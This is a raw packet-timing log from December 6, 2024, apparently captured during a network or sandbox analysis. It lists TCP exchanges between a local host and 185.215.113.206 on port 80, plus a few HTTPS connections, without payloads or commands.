Dec 6, 2024 18:45:45.110929966 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.114231110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.114270926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.114403963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.114449024 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.117813110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.117861032 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.117897034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.117938995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.121340036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.121387005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.121411085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.121448994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.124862909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.124908924 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.124953032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.124991894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.128386021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.128436089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.128499031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.128540993 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.131968021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.131987095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.132014990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.132029057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.135449886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.135509968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.135550976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.135611057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.139020920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.139065027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.139156103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.139195919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.141038895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.141079903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.141160965 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.141201973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.143193960 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.143241882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.143351078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.143390894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.145313025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.145358086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.145469904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.145513058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.147376060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.147420883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.147525072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.147566080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.149590015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.149637938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.149673939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.149712086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.151504993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.151557922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.151590109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.151628971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.153640985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.153688908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.153690100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.153728962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.155673981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.155720949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.155741930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.155791998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.157747030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.157787085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.157854080 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.157892942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.159848928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.159899950 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.159976959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.160017014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.161958933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.162002087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.162055969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.162101030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.164091110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.164143085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.164227962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.164271116 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.166135073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.166182995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.166259050 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.166304111 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.168276072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.168317080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.168397903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.168438911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.170299053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.170340061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.192090988 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.192657948 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.192694902 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.193227053 CET	49804	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.193233013 CET	443	49804	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.216144085 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.216232061 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.216240883 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.216275930 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.216701984 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.216726065 CET	443	49799	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:45.216736078 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.216770887 CET	49799	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:45.270994902 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.271051884 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.271234035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.271290064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.271603107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.271651983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.271656990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.271696091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.273703098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.273753881 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.273775101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.273817062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.275888920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.275938988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.275944948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.275983095 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.277987957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.278036118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.278172016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.278218985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.280014992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.280066013 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.280103922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.280144930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.282017946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.282059908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.283334017 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.283377886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.284015894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.284061909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.284148932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.284240961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.286006927 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.286051035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.286072016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.286106110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.287904024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.287961960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.288008928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.288047075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.289788961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.289838076 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.289952040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.289994955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.291676044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.291719913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.291836977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.291874886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.293570042 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.293617964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.293767929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.293803930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.295423031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.295470953 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.295474052 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.295515060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.297125101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.297173977 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.297198057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.297245026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.298907995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.298954010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.299125910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.299169064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.300760984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.300808907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.300889969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.300930023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.302473068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.302517891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.302541971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.302572966 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.304285049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.304326057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.304498911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.304537058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.306149960 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.306193113 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.306262970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.306297064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.307919979 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.307961941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.307995081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.308029890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.309669018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.309711933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.309809923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.309855938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.311417103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.311454058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.311532974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.311573982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.312319994 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.312782049 CET	49805	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.312793016 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.313239098 CET	49805	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:45.313251019 CET	443	49805	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:45.313296080 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.313337088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.313344955 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.313376904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.315036058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.315088987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.315412998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.315453053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.316831112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.316881895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.317002058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.317035913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.318584919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.318627119 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.318871975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.318912029 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.320401907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.320444107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.320478916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.320517063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.322216988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.322261095 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.322335005 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.322371006 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.323976994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.324019909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.324034929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.324078083 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.325764894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.325803041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.325820923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.325850964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.327565908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.327609062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.327647924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.327687979 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.327749014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.329298973 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.329349995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.329420090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.329456091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.331094980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.331139088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.331216097 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.331250906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.332875013 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.332915068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.332971096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.333009005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.334698915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.334745884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.334794044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.336446047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.336505890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.336585045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.336622953 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.338296890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.338356972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.338382959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.338398933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.340080976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.340131998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.340167046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.340219975 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.341840982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.341881990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.341942072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.342012882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.343651056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.343693018 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.343758106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.343791962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.345446110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.345503092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.345549107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.345583916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.347251892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.347296953 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.347374916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.347424030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.348984003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.349051952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.349082947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.349138975 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.350791931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.350893974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.350933075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.352564096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.352657080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.352685928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.352722883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.354391098 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.354504108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.354535103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.354572058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.356157064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.356224060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.356245041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.356337070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.357984066 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.358038902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.358172894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.358215094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.359786034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.359875917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.359879017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.359921932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.361568928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.361617088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.361769915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.361813068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.363367081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.363434076 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.363457918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.363528013 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.365158081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.365236044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.365401983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.365502119 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.366926908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.367010117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.367013931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.367048025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.368720055 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.368769884 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.463424921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.463500977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.463501930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.463541985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.464185953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.464236975 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.464274883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.464342117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.465666056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.465696096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.465713024 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.465739965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:45.467233896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:45.467298031 CET	49796	80	192.168.2.6	185.215.113.206
